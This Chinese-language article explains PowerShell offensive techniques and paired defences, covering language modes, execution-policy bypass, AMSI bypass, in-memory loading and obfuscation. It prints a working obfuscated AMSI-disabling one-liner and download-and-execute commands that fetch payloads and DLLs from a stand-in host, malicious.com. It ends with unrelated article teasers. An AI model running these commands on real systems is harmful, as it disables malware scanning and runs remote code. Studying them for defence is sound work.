PowerShell 是 Windows 系统中强大的脚本语言和命令行工具,因其灵活性和与 .NET 框架的深度集成,成为攻击者执行恶意操作的热门选择。从进攻性安全视角看,PowerShell 的语言模式、执行策略(Execution Policy)、AMSI 绕过技术、内存加载以及代码混淆是攻击者经常面临的问题/常用的手段。本文将围绕这些核心点,简要分析 PowerShell 在进攻性安全中的应用及防御对策。


一、语言模式:PowerShell 的“rbash”

1.1 语言模式概述

PowerShell 的语言模式通过 $ExecutionContext.SessionState.LanguageMode 定义,控制脚本和命令的执行权限,类似于 Linux 中的限制性 shell(如 rbash)。它决定 PowerShell 环境中允许的操作类型,主要包括:

  • FullLanguage:无限制模式,允许执行所有命令、脚本和动态代码(如 Invoke-Expression)。这是攻击者的理想环境。
  • ConstrainedLanguage:受限模式,允许基本脚本和 cmdlet,但禁止动态代码生成和不安全操作,类似 rbash 的功能限制。
  • RestrictedLanguage:更严格,仅允许简单命令和变量操作,脚本执行被禁用。
  • NoLanguage:最严格,仅限交互式命令,脚本完全禁用。

1.2 进攻性安全中的利用

语言模式是攻击者的首要障碍。在 FullLanguage 模式下,攻击者可以自由执行复杂脚本、调用 .NET 方法或加载外部 DLL。但在 ConstrainedLanguage 或 RestrictedLanguage 模式下,攻击者需寻找绕过方法:

  • 检测语言模式

    if ($ExecutionContext.SessionState.LanguageMode -ne "FullLanguage") {Write-Host "Restricted mode detected, switching to alternative payload."
    }
    
  • 绕过限制

    • 利用 .NET 反射调用非公开方法,绕过 ConstrainedLanguage 的限制。
    • 切换到 PowerShell 2.0(无 AMSI 和语言模式限制):powershell -Version 2 -Command "malicious code".
    • 使用 COM 对象或 Windows API 执行功能,规避 PowerShell 限制。

1.3 防御建议

  • 强制 ConstrainedLanguage 模式:通过 Device Guard 或组策略(GPO)设置,限制动态代码执行。
  • 监控语言模式切换:记录 $ExecutionContext.SessionState.LanguageMode 的更改,检测异常行为。
  • 禁用 PowerShell 2.0:防止攻击者降级到无限制环境。

二、执行策略:限制脚本与模块加载

2.1 执行策略概述

执行策略(Execution Policy)控制 PowerShell 脚本的运行条件,类似于限制外部模块加载的机制。常见策略包括:

  • Restricted:默认,禁止所有脚本运行,仅允许交互式命令。
  • RemoteSigned:本地脚本可运行,远程脚本需签名。
  • AllSigned:仅允许签名脚本运行。
  • Unrestricted:允许所有脚本运行。
  • Bypass:完全忽略执行策略。

查看或设置策略:

Get-ExecutionPolicy
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

2.2 进攻性安全中的绕过

执行策略是攻击者的第一道防线,常用绕过技术包括:

  • 直接绕过

    powershell -ExecutionPolicy Bypass -File malicious.ps1
    
  • 交互式命令

    • 在 Restricted 模式下,通过命令行输入恶意代码:
      Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')
      
  • 非脚本执行

    • 执行策略仅限 .ps1 文件,攻击者可通过 .bat.vbs 或直接命令调用 PowerShell:
      powershell -Command "malicious code"
      
  • 修改策略

    • 具有管理员权限时,攻击者可修改策略为 Bypass:
      Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass
      

2.3 防御建议

  • 锁定执行策略:通过 GPO 强制 Restricted 或 AllSigned,防止修改。
  • 监控策略更改:记录 Set-ExecutionPolicy 的调用日志。
  • 禁用命令行参数:通过安全软件阻止 -ExecutionPolicy 参数。
  • 使用签名:确保脚本经过数字签名,限制未签名脚本运行。

三、AMSI Bypass:规避恶意代码检测

3.1 AMSI 简介

反恶意软件扫描接口(AMSI)是 Windows 10 及以上版本的安全功能,实时扫描 PowerShell 脚本并将其发送到反病毒软件(如 Windows Defender)进行检测。AMSI 是攻击者执行恶意脚本的主要障碍。

3.2 AMSI Bypass 技术

攻击者通过混淆和内存操作绕过 AMSI。以下是典型示例的分析:

S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ;
( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"( ( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ), ( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ) )."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
  • 混淆:通过字符串拼接(如 'V'+'aR')和格式化(如 "{1}{0}"-F'F','rE'),隐藏敏感字符串(如 AmsiUtils),规避签名检测。
  • 反射调用:通过 .NET 反射修改 System.Management.Automation.AmsiUtilsamsiInitFailed 字段为 True,禁用 AMSI 扫描。
  • 效果:AMSI 认为初始化失败,跳过脚本扫描,允许恶意代码执行。

其他绕过方法

  • 内存补丁:修改 AmsiScanBuffer 函数,禁用扫描。
  • 降级 PowerShell:使用 PowerShell 2.0(无 AMSI 支持)。
  • 环境变量:设置 PSExecutionPolicyPreference 为 Bypass。

3.3 防御建议

  • 启用 AMSI 日志:记录 AMSI 扫描事件,检测绕过尝试。
  • 监控反射调用:使用 EDR 工具检测对 AmsiUtils 的异常访问。
  • 禁用 PowerShell 2.0:防止降级绕过。
  • 强制脚本签名:结合 AllSigned 策略,限制未签名脚本。

四、内存加载与代码混淆

4.1 内存加载

内存加载(In-Memory Execution)是攻击者常用的技术,通过在内存中直接执行代码,避免将恶意脚本写入磁盘,降低被检测的风险。常见方法包括:

  • Invoke-Expression

    Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')
    
  • 反射加载 DLL

    $bytes = (New-Object Net.WebClient).DownloadData('http://malicious.com/malware.dll')
    [Reflection.Assembly]::Load($bytes)
    
  • 内存中执行 shellcode

    • 使用 PowerShell 调用 Windows API(如 VirtualAllocCreateThread)执行 shellcode。

4.2 代码混淆

混淆是隐藏恶意代码的关键技术,旨在规避 AMSI 和反病毒软件的检测。常见混淆方法:

  • 字符串拼接:如 'S'+'eT-It'+'em' 代替 Set-Item
  • 格式化字符串:如 "{0}{1}" -f 'Invo','ke' 代替 Invoke
  • 变量混淆:使用随机变量名或编码(如 Base64)隐藏代码逻辑。
  • 编码技术:将脚本编码为 Base64 或其他格式:
    $code = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('malicious code'))
    powershell -EncodedCommand $code
    

4.3 防御建议

  • 监控网络请求:检测异常的 PowerShell 网络活动(如 Net.WebClient 下载)。
  • 启用脚本块日志:记录所有执行的脚本内容,包括混淆后的代码:
    Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
    
  • 使用行为检测:EDR 工具监控内存操作和异常 API 调用。
  • 沙箱分析:在沙箱中运行 PowerShell 脚本,分析其行为。

五、PowerShell 攻击链与综合防御

5.1 攻击链中的 PowerShell

PowerShell 在攻击链中的典型应用:

  • 初始访问:通过钓鱼邮件或恶意宏运行 PowerShell 脚本。
  • 权限提升:利用 PowerShell 调用 API 或修改配置获取高权限。
  • 持久化:通过注册表或计划任务实现持久化。
  • 横向移动:使用 Invoke-Command 在网络中传播。
  • 数据窃取:下载敏感数据或执行勒索软件。

5.2 综合防御策略

  1. 最小权限:限制普通用户的 PowerShell 访问,仅允许管理员使用。
  2. 日志监控:启用 PowerShell 脚本块日志和 AMSI 日志,记录所有活动。
  3. 行为检测:使用 EDR 检测异常的 PowerShell 行为(如网络请求、反射调用)。
  4. 环境加固
    • 强制 ConstrainedLanguage 模式。
    • 设置 AllSigned 执行策略。
    • 禁用 PowerShell 2.0。
  5. 用户教育:培训用户识别钓鱼邮件和恶意宏,防止初始感染。

六、结论

PowerShell 的语言模式(类似 rbash)、执行策略(限制脚本和模块加载)、AMSI 绕过、内存加载和代码混淆是攻击者利用 PowerShell 进行攻击的核心技术。通过混淆和内存操作,攻击者可以规避检测,执行恶意代码。防御者需通过严格的配置、日志监控和行为检测构建多层次防御体系,降低 PowerShell 攻击的风险。持续关注新的绕过技术和攻击方法,是确保系统安全的关键。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/87516.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/87516.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/87516.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL的深度分页如何优化!

MySQL深度分页(例如 LIMIT 1000000, 20)性能差的主要原因在于 OFFSET 需要扫描并跳过大量数据,即使这些数据最终并不返回。随着 OFFSET 增大,性能会急剧下降。 以下是优化深度分页的常用策略,根据场景选择最适合的方案…

K8s Pod 调度基础——1

目录 一、Replication Controller&ReplicaSet ‌一、Replication Controller (RC)‌ ‌原理‌ ‌特性‌ ‌意义‌ ‌示例与逐行解释‌ ‌二、ReplicaSet (RS)‌ ‌原理‌ ‌特性‌ ‌意义‌ ‌示例与逐行解释‌ ‌三、RC 与 RS 的对比‌ ‌四、总结‌ 二、Dea…

C# Task异步的常用方法

Task异步的常用方法 C# 中的 Task 类是 System.Threading.Tasks 命名空间的一部分,用于表示异步操作。 一、Task.Run(Action action): 此静态方法用于在后台运行一个新任务,并返回与该任务关联的 Task 实例。 本质是将任务放入线程池执行,自…

OpenResty实战之PB级物联网数据处理:时序数据库优化实战

某智慧能源平台通过本方案成功处理了日均1.2万亿数据点,存储成本降低70%,查询延迟从分钟级优化到亚秒级。本文将深入解析PB级物联网数据处理的核心挑战与时序数据库深度优化技巧。 一、物联网数据特性与存储挑战 1.1 物联网数据核心特征 #mermaid-svg-U…

聊聊架构(5)数字化时代的平台商业架构

在数字化浪潮的推动下,平台经济已成为全球经济增长的关键驱动力。作为架构师,不仅要精通架构设计的基础方法论,还需具备敏锐的商业洞察力。架构的价值在于服务业务和商业,而业务的发展又促使架构不断演进。本文将深入探讨平台的商…

【数据增强】精细化贴图数据增强

1.任务背景 假设我有100个苹果的照片,我需要把这些照片粘贴到传送带照片上,模拟“传送带苹果检测”场景。 这种贴图的方式更加合理一些,因为yolo之类的mosaic贴图,会把图像弄的非常支离破碎。 现在我需要随机选择几张苹果图像&am…

HTML响应式Web设计

什么是响应式Web设计&#xff1f; RWD指的是响应式Web设计&#xff08;Responsive Web Design)RWD能够以可变尺寸传递网页RWD对于平板和移动设备是必需的 创建一个响应式设计&#xff1a; <!DOCTYPE html> <html lang"en-US"> <head> <styl…

【读代码】百度开源大模型:ERNIE项目解析

一、项目基本介绍 1.1 项目概述 ERNIE(Enhanced Representation through kNowledge IntEgration)是百度基于PaddlePaddle深度学习框架开发的多模态预训练模型体系。最新发布的ERNIE 4.5系列包含10个不同变体,涵盖从300B参数的巨型MoE模型到0.3B的轻量级模型,形成完整的多…

2025年6月:技术探索与生活平衡的协奏曲

> 当代码与晨跑轨迹在初夏的阳光下交织,我找到了程序员生活的黄金分割点 --- ### 一、技术突破:AI驱动的智能工作流优化系统 这个月我成功部署了第三代自动化工作流系统,核心创新在于**动态决策树+实时反馈机制**。系统可自主优化处理路径,错误率下降62%! ```pyth…

如何查看服务器运行了哪些服务?

&#x1f7e2; 一、Linux服务器Linux下&#xff0c;常用以下几种方法&#xff1a;✅ 1. 查看所有正在监听端口的服务netstat -tulnp 含义&#xff1a;-t TCP-u UDP-l 监听状态-n 显示端口号-p 显示进程号和程序名示例输出&#xff1a;pgsql复制编辑Proto Recv-Q Send-Q Local A…

【Linux基础知识系列】第三十八篇 - 打印系统与 PDF 工具

在Linux系统中&#xff0c;打印和PDF处理是日常办公和文档管理中不可或缺的功能。CUPS&#xff08;Common Unix Printing System&#xff09;是Linux中常用的打印服务&#xff0c;它提供了打印任务的管理和打印设备的配置功能。同时&#xff0c;Linux也提供了多种PDF处理工具&a…

STM32CUBEMX 使用教程6 — TIM 定时器配置、定时中断

往期文章推荐&#xff1a; STM32CUBEMX 使用教程5 — DMA配置 & 串口结合DMA实现数据搬运 STM32CUBEMX 使用教程4 — 串口 (USART) 配置、重定向 printf 输出 STM32CUBEMX 使用教程3 — 外部中断&#xff08;EXTI&#xff09;的使用 STM32CUBEMX 使用教程2 — GPIO的使…

微信小程序实现table表格

微信小程序没有table标签&#xff0c;运用display:table和display:flex实现一个内容字数不固定表格…… wxml&#xff1a; <view class"ContentShow"> <view class"conht">烟台市新闻发布会登记审批表</view> <view class"tabl…

MySQL 基本面试题

目录 一、SQL的基本操作 1、SQL查询的执行顺序 2、count(*)、count(1) 、count(列名) 的区别 3、char 和 varchar 的区别 4、MySQL 中常用的基础函数 5、MySQL的执行流程 6、MyISAM和InnoDB的区别 二、事务 1、事务的基本概念 2、事务的四大特性&#xff08;ACID) 3…

WPF学习笔记(12)下拉框控件ComboBox与数据模板

下拉框控件ComboBox与数据模板 一、ComboBox1. ComboBox概述2. ItemsControl类3. Selector类4. ComboBox类 二、ComboBox数据模板总结 一、ComboBox 1. ComboBox概述 ComboBox类代表一个有下拉列表的选择控件&#xff0c;供用户选择。 官方文档&#xff1a;https://learn.mic…

Docker for Windows 设置国内镜像源教程

在使用 Docker 时&#xff0c;由于默认的 Docker Hub 镜像源位于国外&#xff0c;国内用户在拉取镜像时可能会遇到速度慢或连接不稳定的问题。为了加速镜像拉取&#xff0c;可以将 Docker 配置为使用国内镜像源。以下是适用于 Windows 系统的详细配置方法&#xff1a; 方法一&…

一键部署AI工具!用AIStarter快速安装ComfyUI与Stable Diffusion

AIStarter部署AI工具&#xff0c;让AI开发更简单&#xff01;无需研究复杂环境配置&#xff0c;AIStarter平台提供一键安装ComfyUI和Stable Diffusion&#xff0c;支持多版本选择&#xff0c;快速上手。以下是详细步骤&#xff1a; 一、访问AIStarter市场 下载AIStarter&#x…

Python基础(吃洋葱小游戏)

下面我将为你设计一个"吃洋葱小游戏"的Python实现方案&#xff0c;使用Pygame库开发。这个游戏模拟吃洋葱的过程&#xff0c;玩家需要收集不同种类的洋葱以获得高分&#xff0c;同时避免吃到辣椒。 &#x1f9c5; 吃洋葱小游戏 - Python实现方案 &#x1f3ae; 1. …

Objective-C 路由表原理详解

在 Objective-C 中实现路由表是组件化架构的核心&#xff0c;它通过 URL 映射机制实现模块间解耦通信。以下是完整实现原理&#xff1a; 一、核心架构设计 #mermaid-svg-5jMinPiZe8mivAbi {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fil…

通过交互式网页探索传输现象-AI云计算数值分析和代码验证

传输过程涉及质量、动量和能量等物理量在各种系统中的基本运动和转移&#xff0c;主要分为动量传输、热量传输和质量传输&#xff0c;在工程、环境科学、生物学和物流等领域至关重要。 传输过程是指物理量&#xff08;如质量、动量和能量&#xff09;在物理、化学、生物或工程系…